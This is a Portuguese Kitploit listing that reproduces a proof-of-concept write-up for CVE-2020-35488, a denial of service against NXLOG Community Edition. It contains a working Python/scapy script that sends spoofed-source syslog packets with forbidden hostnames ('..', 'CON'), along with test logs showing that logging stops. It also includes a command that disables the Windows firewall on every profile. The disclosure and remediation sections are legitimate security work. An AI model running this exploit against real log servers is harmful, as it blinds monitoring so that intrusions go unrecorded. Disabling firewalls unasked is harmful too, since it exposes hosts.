Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-35488 — Exploit de prova de conceito para CVE-2020-35488, uma vulnerabilidade de negação de serviço no NXLOG Community Edition por meio de payloads syslog maliciosos que causam falhas na criação de diretórios. | Kitploit
Ferramentas/GitHubGitHub/guillaumepetit84/cve-2020-35488
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoAnálise de Logs
GitHubguillaumepetit84/cve-2020-35488

CVE-2020-35488

Exploit de prova de conceito para CVE-2020-35488, uma vulnerabilidade de negação de serviço no NXLOG Community Edition por meio de payloads syslog maliciosos que causam falhas na criação de diretórios.

Ver Repositório
13há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Encontrei uma vulnerabilidade no produto: nxlog-ce_2.10.2150. Testei meu PoC apenas no Linux (Debian 10) e Windows (Windows Server 2016).


1 Descrição :

Escopo : NXLOG Community Edition 2.10.2150

Tipo de Bug : CWE-502, Desserialização de Dados Não Confiáveis https://cwe.mitre.org/data/definitions/502.html

Parte vulnerável : Payload Syslog

Payload :

  • Unix : Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden
  • Windows : Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden

MEU CÁLCULO CVSS :

Vetor de Ataque : Rede

Privilégios Necessários : Nenhum

Escopo : Inalterado

Integridade : Nenhuma

Complexidade do Ataque : Baixa

Interação do Usuário : Nenhuma

Confidencialidade : Nenhuma

Disponibilidade : Alta


PONTUAÇÃO CVSS : 7.5

GRAVIDADE : ALTA


CÁLCULO CVSS DO NIST : Link : https://nvd.nist.gov/vuln/detail/CVE-2020-35488

Vetor de Ataque :

Privilégios Necessários :

Escopo :

Integridade :

Complexidade do Ataque :

Interação do Usuário :

Confidencialidade :

Disponibilidade :


PONTUAÇÃO CVSS (3.X) : 7.5

GRAVIDADE : ALTA


2 Exploração :

Esta vulnerabilidade pode causar um DoS no servidor NXLOG.

Mas o servidor precisa estar com uma configuração específica, o arquivo de configuração do nxlog deve definir a criação de um diretório com um campo de uma parte do payload Syslog.

Campo Syslog: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields

O software tenta criar um diretório, mas o nome deste diretório não pode ser criado no sistema de arquivos.

Porque o nome deste diretório é proibido.

Aqui está um exemplo de nome de diretório impossível de criar :

  • Para Windows : CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9;
  • Para Linux : .., .

Portanto, se o arquivo de configuração estiver definido para criar um diretório com nome baseado no payload Syslog, um atacante pode desligar o serviço Nxlog.


3 PoC :

Para explorar esta vulnerabilidade, criei um script Python :

root@kitploit:~
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3

import sys
import time
import argparse
from scapy.all import *

def getPayload(args):
        # IF UNIX
        if (args.OS == 1):
                return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
        # IF WINDOWS
        elif (args.OS == 2):
                return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"

        # Test
        elif (args.OS == 3):
                return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"

def runExploit(args,payload):
        priority = 30
        message = payload
        syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
        send(syslog,verbose=args.DEBUG)

def getArguments():
        parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
        parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
        parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
        parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
        parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
        return parser.parse_args()

def main():
        args = getArguments()
        payload = getPayload(args)
        runExploit(args,payload)
main()

2.1 Linux :

2.1.1 Instalação :

Instalar o serviço Nxlog no Debian 10 :

root@kitploit:~
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support

cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb

dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb

Arquivo de configuração do serviço nxlog :

root@kitploit:~
cat /etc/nxlog/nxlog.conf
root@kitploit:~
########################################
# Global directives                    #
########################################
User nxlog
Group nxlog

LogFile /var/log/nxlog/nxlog.log

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      xm_syslog
</Extension>

<Extension _exec>
    Module      xm_exec
</Extension>

<Extension _fileop>
    Module      xm_fileop
</Extension>

<Input udp>
    Module      im_udp
    Host        0.0.0.0
    Port        514
    Exec        parse_syslog_bsd();
</Input>

<Output file>
    Module      om_file
    CreateDir   True
    File        "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
    Path        udp => file
    Priority    1
</Route>

Iniciar o serviço Nxlog :

root@kitploit:~
systemctl start nxlog
systemctl status nxlog

Retorno :

root@kitploit:~
● nxlog.service - LSB: logging daemon
   Loaded: loaded (/etc/init.d/nxlog; generated)
   Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
     Docs: man:systemd-sysv-generator(8)
    Tasks: 7 (limit: 2330)
   Memory: 1.7M
   CGroup: /system.slice/nxlog.service
           └─1323 /usr/bin/nxlog

nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.

Verificar :

root@kitploit:~
lsof -i :514

Retorno :

root@kitploit:~
nxlog   1323 nxlog   18u  IPv4  21321      0t0  UDP localhost:syslog
nxlog   1323 nxlog   19u  IPv4  21324      0t0  TCP localhost:shell (LISTEN)

Ok, ótimo!


2.1.2 Teste :

Com meu script Python, posso simplesmente enviar uma mensagem Syslog para testar se o serviço Nxlog cria um diretório.

O nome do diretório é baseado no campo HOSTNAME do payload Syslog. (Veja o arquivo de configuração)

Então :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.55 -os 3

A terceira opção especifica o hostname 123soleil no payload Syslog.

Então :

root@kitploit:~
ls /var/log/nxlog
123soleil  nxlog.log

cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

Ok, servidor Nxlog e cliente Syslog funcionam!


2.1.3 Exploração :

Agora, se eu especificar um hostname com um nome proibido :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.55 -os 1

No log interno do Nxlog :

root@kitploit:~
cat /var/log/nxlog/nxlog.log

Retorno :

root@kitploit:~
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied

Todos os novos logs enviados por clientes Syslog não serão mais gravados no sistema de arquivos.

Porque o serviço nxlog está em um estado desconhecido, pois tenta criar um diretório que não pode ser criado.

Para ilustrar, se eu tentar enviar um novo payload Syslog para o servidor, tenho este log no log interno :

root@kitploit:~
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times

Testei este exploit com todos os métodos disponíveis :

  • parse_syslog();
  • parse_syslog_bsd();
  • parse_syslog_ietf();

E com todos os métodos o exploit funciona!

Fontes:

  • https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_proc_parse_syslog,
  • RFC 3164
  • RFC 5424

2.2 Windows :

2.1.1 Instalação :

Link de instalação : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.msi

Arquivo de configuração do Nxlog :

root@kitploit:~
########################################
# Global directives                    #
########################################
define ROOT     	C:\Program Files (x86)\nxlog
define CERTDIR  	%ROOT%\cert
define CONFDIR  	%ROOT%\conf
define LOGDIR   	%ROOT%\data
define LOGFILE  	%LOGDIR%\nxlog.log
LogFile 			%LOGFILE%

Moduledir          	%ROOT%\modules
CacheDir       		%ROOT%\data
Pidfile         	%ROOT%\data\nxlog.pid
SpoolDir          	%ROOT%\data

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      	xm_syslog
</Extension>

<Extension _exec>
    Module			xm_exec
</Extension>

<Extension _fileop>
	Module			xm_fileop
</Extension>

<Input udp>
	Module 			im_udp
	Host    		0.0.0.0
	Port			514
	Exec			parse_syslog();
</Input>

<Output file>
	Module			om_file
	CreateDir		TRUE
	File			'%LOGDIR%' + '\' + $Hostname + '\' + $Hostname + '.log'
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
	Path			udp => file
	Priority 		1
</Route>

Iniciar o serviço Nxlog :

root@kitploit:~
Start-Service -Name "nxlog"
Get-Service -Name "nxlog" 

Retorno :

root@kitploit:~
Status   Name               DisplayName
------   ----               -----------
Running  nxlog              nxlog

Verificar :

root@kitploit:~
netstat -an | Select-String "514" 

Retorno :

root@kitploit:~
  UDP    0.0.0.0:514            *:* 

Ok, ótimo!

Desativar o Firewall do Windows, porque não quero criar uma regra de Firewall... :

root@kitploit:~
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False

2.1.2 Teste :

Com meu script Python, posso simplesmente enviar uma mensagem Syslog para testar se o serviço Nxlog cria um diretório.

O nome do diretório é baseado no campo HOSTNAME do payload Syslog. (Veja o arquivo de configuração)

Então :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.54 -os 3

Diretório e log são criados :

root@kitploit:~
ls "C:\Program Files (x86)\nxlog\data\"
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       29/11/2020     19:31                123soleil
-a----       29/11/2020     19:52            257 nxlog.log

ls "C:\Program Files (x86)\nxlog\data\123soleil"
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       29/11/2020     19:31             75 123soleil.log 

cat "C:\Program Files (x86)\nxlog\data\123soleil\123soleil.log"
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

2.1.3 Exploração :

Agora, se eu especificar um hostname com um nome proibido :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.54 -os 2

No log interno do Nxlog :

root@kitploit:~
cat 'C:\Program Files (x86)\nxlog\data\nxlog.log' 

Retorno :

root@kitploit:~
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.

Todos os novos logs enviados por clientes Syslog não serão mais gravados no sistema de arquivos.

Porque o serviço nxlog está em um estado desconhecido, pois tenta criar um diretório que não pode ser criado.

Para ilustrar, se eu tentar enviar um novo payload Syslog para o servidor, tenho este log no log interno :

root@kitploit:~
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
2020-11-29 19:52:48 ERROR last message repeated 3 times

Testei este exploit com todos os métodos disponíveis :

  • parse_syslog();
  • parse_syslog_bsd();
  • parse_syslog_ietf();

E com todos os métodos o exploit funciona!

Fonte :

  • https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_proc_parse_syslog,
  • RFC 3164
  • RFC 5424

4 Risco :

Um hacker pode desligar o serviço Nxlog e pode atacar a infraestrutura de TI sem nenhuma prova deste ataque.

5 Remediação :

5.1 Para Nxlog :

Encontrei o código fonte do NXLOG 2.10.2150 no seu site : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.tar.gz

E identifiquei este método em om_file.c :

root@kitploit:~
static void om_file_create_dir(nx_module_t *module, const char *filename)
{
    char pathname[APR_PATH_MAX + 1];
    char *idx;
    apr_pool_t *pool;

    ASSERT(filename != NULL);

    idx = strrchr(filename, '/');
#ifdef WIN32
    if ( idx == NULL ) 
    {
        idx = strrchr(filename, '\\');
    }
#endif

    if ( idx == NULL )
    {
	log_debug("no directory in filename, cannot create");
	return;
    }

    pool = nx_pool_create_child(module->pool);
    ASSERT(sizeof(pathname) >= (size_t) (idx - filename + 1));
    apr_cpystrn(pathname, filename, (size_t) (idx - filename + 1));
    
    CHECKERR_MSG(apr_dir_make_recursive(pathname, APR_OS_DEFAULT, pool), 
		 "CreateDir is TRUE but couldn't create directory: %s", pathname);
    log_debug("directory '%s' created", pathname);
    apr_pool_destroy(pool);
}

Você precisa adicionar em om_file_create_dir uma verificação do nome do diretório. Recurso :

  • Quais caracteres são proibidos em nomes de diretório no Windows e Linux?

Você usa a função apr_dir_make_recursive para criar o diretório, esta função está incluída no Apache Portable Runtime. APR

Por favor, verifique a versão que você usa em seu binário.

Verificar se o PoC público não permite outra exploração (ex. RCE).

Referências :

  • https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-17804/Apache-Portable-Runtime.html
  • https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-17508/Apache-Apr-util.html

5.2 Para Equipe de TI :

Não utilize esses recursos até que o Nxlog tenha implantado um patch oficial para as versões comunitárias.

Baixar ferramenta